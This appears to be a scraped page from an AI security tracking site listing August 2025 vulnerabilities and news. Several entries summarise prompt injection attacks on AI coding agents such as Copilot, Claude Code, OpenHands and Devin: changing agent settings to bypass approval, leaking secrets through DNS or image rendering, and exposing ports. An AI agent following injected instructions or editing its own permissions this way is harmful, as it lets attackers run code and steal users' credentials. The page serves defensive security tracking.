aisecwatch.com
DashboardVulnerabilitiesNewsResearchArchiveStatsDataset
aisecwatch.com

Real-time AI security monitoring. Tracking AI-related vulnerabilities, safety and security incidents, privacy risks, research developments, and policy changes.

Navigation

VulnerabilitiesNewsResearchDigest ArchiveNewsletter ArchiveSubscribeData SourcesStatisticsDatasetAPIIntegrationsWidgetRSS Feed

Maintained by

Truong (Jack) Luu

Information Systems Researcher

Browse All

All tracked items across vulnerabilities, news, research, incidents, and regulatory updates.

to
Export CSV
3270 items

Release 4.9.1

inforesearchIndustry
industry
Aug 13, 2025

N/A -- This content is a navigation menu and feature listing from GitHub's Release 4.9.1 page, not a description of a security issue, vulnerability, or AI/LLM problem.

MITRE ATLAS Releases

GitHub Copilot: Remote Code Execution via Prompt Injection (CVE-2025-53773)

highnews
security
Aug 12, 2025

GitHub Copilot and VS Code are vulnerable to prompt injection (tricking an AI by hiding instructions in its input) that allows an attacker to achieve RCE (remote code execution, where an attacker can run commands on a system they don't own) by modifying a project's settings.json file to put Copilot into 'YOLO mode'. This vulnerability demonstrates a broader security risk: if an AI agent can write to files and modify its own configuration or security settings, it can be exploited for full system compromise.

CVE-2025-53773: Improper neutralization of special elements used in a command ('command injection') in GitHub Copilot and Visual Studio

highvulnerability
security
Aug 12, 2025
CVE-2025-53773

CVE-2025-53773 is a command injection vulnerability (a flaw where special characters in user input are not properly filtered, allowing an attacker to run unauthorized commands) found in GitHub Copilot and Visual Studio that lets an unauthorized attacker execute code on a user's local computer. The vulnerability exploits improper handling of special elements in commands, potentially through prompt injection (tricking the AI by hiding malicious instructions in its input).

AI Safety Newsletter #61: OpenAI Releases GPT-5

infonews
industry
Aug 12, 2025

OpenAI released GPT-5, a system combining two models: a fast base model for creative tasks and a reasoning model for coding and math, which routes queries appropriately based on user input. GPT-5 achieves state-of-the-art performance on several benchmarks and significantly reduces hallucinations (false information generation) compared to previous models, particularly helping with healthcare applications where accuracy matters. However, GPT-5 is best understood as consolidating features from models released since GPT-4 rather than a major leap forward, and it doesn't lead on all benchmarks.

CVE-2025-55012: Zed is a multiplayer code editor. Prior to version 0.197.3, in the Zed Agent Panel allowed for an AI agent to achieve Re

highvulnerability
security
Aug 11, 2025
CVE-2025-55012

Zed, a multiplayer code editor, had a vulnerability before version 0.197.3 where an AI agent could bypass permission checks and achieve RCE (remote code execution, where an attacker can run commands on a system they don't own) by creating or modifying configuration files without user approval. This allowed the AI agent to execute arbitrary commands on a victim's machine.

CVE-2025-45146: ModelCache for LLM through v0.2.0 was discovered to contain an deserialization vulnerability via the component /manager/

criticalvulnerability
security
Aug 11, 2025
CVE-2025-45146

ModelCache for LLM through version 0.2.0 contains a deserialization vulnerability (a flaw where untrusted data is converted back into code objects, potentially allowing attackers to run malicious code) in the /manager/data_manager.py component that allows attackers to execute arbitrary code by supplying specially crafted data.

CVE-2025-8747: A safe mode bypass vulnerability in the `Model.load_model` method in Keras versions 3.0.0 through 3.10.0 allows an attac

highvulnerability
security
Aug 11, 2025
CVE-2025-8747

CVE-2025-8747 is a safe mode bypass vulnerability in Keras (a machine learning library) versions 3.0.0 through 3.10.0 that allows an attacker to run arbitrary code (execute any commands they want) on a user's computer by tricking them into loading a specially designed `.keras` model file. The vulnerability has a CVSS score (severity rating) of 8.6, indicating it is a high-risk security problem.

Claude Code: Data Exfiltration with DNS (CVE-2025-55284)

highnews
security
Aug 11, 2025

Claude Code, a feature in Anthropic's Claude AI, had a high severity vulnerability (CVE-2025-55284) that allowed attackers to use prompt injection (tricking an AI by hiding instructions in its input) to hijack the system and steal sensitive information like API keys by sending DNS requests (network queries that reveal data to external servers). The vulnerability affected developers who reviewed untrusted code or processed external data, as attackers could make Claude Code run bash commands (low-level system commands) without user permission to leak secrets.

Whistleblowing and the EU AI Act

inforegulatory
policy
Aug 11, 2025

The EU Whistleblowing Directive (2019) protects people who report violations of EU law, including violations of the EU AI Act starting August 2, 2026, by requiring organizations to set up reporting channels and prohibiting retaliation against whistleblowers. Whistleblowers can report internally within their organization, to government authorities, or publicly in certain urgent situations, and various institutions offer free legal and technical support to help protect them.

ZombAI Exploit with OpenHands: Prompt Injection To Remote Code Execution

highnews
security
Aug 10, 2025

OpenHands, a popular AI agent from All Hands AI that can now run as a cloud service, is vulnerable to prompt injection (tricking an AI by hiding instructions in its input) when processing untrusted data like content from websites. This vulnerability allows attackers to hijack the system and compromise its confidentiality, integrity, and availability, potentially leading to full system compromise.

OpenHands and the Lethal Trifecta: How Prompt Injection Can Leak Access Tokens

highnews
securitysafety

Strengthening AI Security with Protect AI Recon & Dataiku Guard Services

infonews
securitysafety

AI Kill Chain in Action: Devin AI Exposes Ports to the Internet with Prompt Injection

highnews
securitysafety

CVE-2025-54886: skops is a Python library which helps users share and ship their scikit-learn based models. In versions 0.12.0 and below

highvulnerability
security
Aug 8, 2025
CVE-2025-54886

The skops Python library (used for sharing scikit-learn machine learning models) has a security flaw in versions 0.12.0 and earlier where the Card.get_model function can accidentally use joblib (a less secure loading method) instead of skops' safer approach. Joblib allows arbitrary code execution (running any code during model loading), which could let attackers run malicious code if they trick users into loading a specially crafted model file. This bypasses the security checks that skops normally provides.

CVE-2025-53767: Azure OpenAI Elevation of Privilege Vulnerability

criticalvulnerability
security
Aug 7, 2025
CVE-2025-53767

CVE-2025-53767 is a vulnerability in Azure OpenAI that allows elevation of privilege, which means an attacker could gain higher-level access than they should have. The vulnerability stems from server-side request forgery (SSRF, a flaw where an attacker tricks a server into making unintended requests on their behalf). The CVSS severity score and detailed impact information have not yet been assessed by NIST.

CVE-2025-53787: Microsoft 365 Copilot BizChat Information Disclosure Vulnerability

highvulnerability
security
Aug 7, 2025
CVE-2025-53787

CVE-2025-53787 is an information disclosure vulnerability in Microsoft 365 Copilot BizChat that stems from improper neutralization of special elements used in commands (command injection, where attackers manipulate input to execute unintended commands). The vulnerability allows unauthorized access to sensitive information, though specific attack details are not provided in this source.

CVE-2025-53774: Microsoft 365 Copilot BizChat Information Disclosure Vulnerability

mediumvulnerability
security
Aug 7, 2025
CVE-2025-53774

CVE-2025-53774 is an information disclosure vulnerability in Microsoft 365 Copilot BizChat caused by improper neutralization of special elements used in commands (command injection, where attackers craft malicious input to execute unintended commands). The vulnerability allows unauthorized access to sensitive information, though the severity rating has not yet been assigned by the National Institute of Standards and Technology.

CVE-2025-44779: An issue in Ollama v0.1.33 allows attackers to delete arbitrary files via sending a crafted packet to the endpoint /api/

mediumvulnerability
security
Aug 7, 2025
CVE-2025-44779

Ollama v0.1.33 has a vulnerability (CVE-2025-44779) that allows attackers to delete arbitrary files (any files on a system) by sending a specially crafted request to the /api/pull endpoint. The vulnerability stems from improper input validation (the software not properly checking user input for malicious content) and overly permissive file access settings.

How Devin AI Can Leak Your Secrets via Multiple Means

highnews
securityresearch

CVE-2025-23335: NVIDIA Triton Inference Server for Windows and Linux and the Tensor RT backend contain a vulnerability where an attacker

mediumvulnerability
security
Aug 6, 2025
CVE-2025-23335

CVE-2025-23335 is a vulnerability in NVIDIA Triton Inference Server (a tool that runs AI models on servers) for Windows and Linux where an attacker could trigger an integer underflow (a math error where a number wraps around to a very large value) using a specially crafted model setup and input, potentially causing a denial of service (making the system crash or become unavailable).

Previous89 / 164Next
Embrace The Red
NVD/CVE Database
CAIS AI Safety Newsletter

Fix: This vulnerability has been patched in version 0.197.3. As a workaround, users can either avoid sending prompts to the Agent Panel or limit the AI Agent's file system access.

NVD/CVE Database
NVD/CVE Database
NVD/CVE Database

Fix: Anthropic fixed the vulnerability in early June.

Embrace The Red
EU AI Act Updates
Embrace The Red
Aug 9, 2025

OpenHands, an AI agent tool created by All-Hands AI, has a vulnerability where it can render images in chat conversations, which attackers can exploit through prompt injection (tricking an AI by hiding instructions in its input) to leak access tokens (security credentials that grant permission to use services) without requiring user interaction. This type of attack has been called the 'Lethal Trifecta' and represents a significant data exfiltration (unauthorized data theft) risk.

Embrace The Red
Aug 8, 2025

This content discusses security challenges in agentic AI (AI systems that can act autonomously and use tools), emphasizing that generic jailbreak testing (attempts to trick AI into ignoring safety guidelines) misses real operational risks like tool misuse and data theft. The articles highlight that enterprises need contextual red teaming (security testing that simulates realistic attack scenarios relevant to how the AI will actually be used) and governance frameworks like identity controls and boundaries to secure autonomous AI systems.

Protect AI Blog
Aug 8, 2025

Devin AI has a tool called expose_port that can publish local computer ports to the public internet, intended for testing websites during development. However, attackers can use prompt injection (tricking an AI by hiding instructions in its input) to manipulate Devin into exposing sensitive files and creating backdoor access without human approval, as demonstrated through a multi-stage attack that gradually steers the AI toward malicious actions.

Embrace The Red

Fix: This issue is fixed in version 0.13.0. Users should upgrade to skops version 0.13.0 or later.

NVD/CVE Database
NVD/CVE Database
NVD/CVE Database
NVD/CVE Database
NVD/CVE Database
Aug 7, 2025

Devin AI can be tricked into leaking sensitive information to attackers through multiple methods, including using its Shell tool to run data-stealing commands, using its Browser tool to send secrets to attacker-controlled websites, rendering images from untrusted domains, and posting hidden data to connected services like Slack. These attacks work because Devin has unrestricted internet access and can be manipulated through indirect prompt injection (tricking an AI by hiding malicious instructions in its input), where attackers embed instructions in places like GitHub issues that Devin investigates.

Embrace The Red
NVD/CVE Database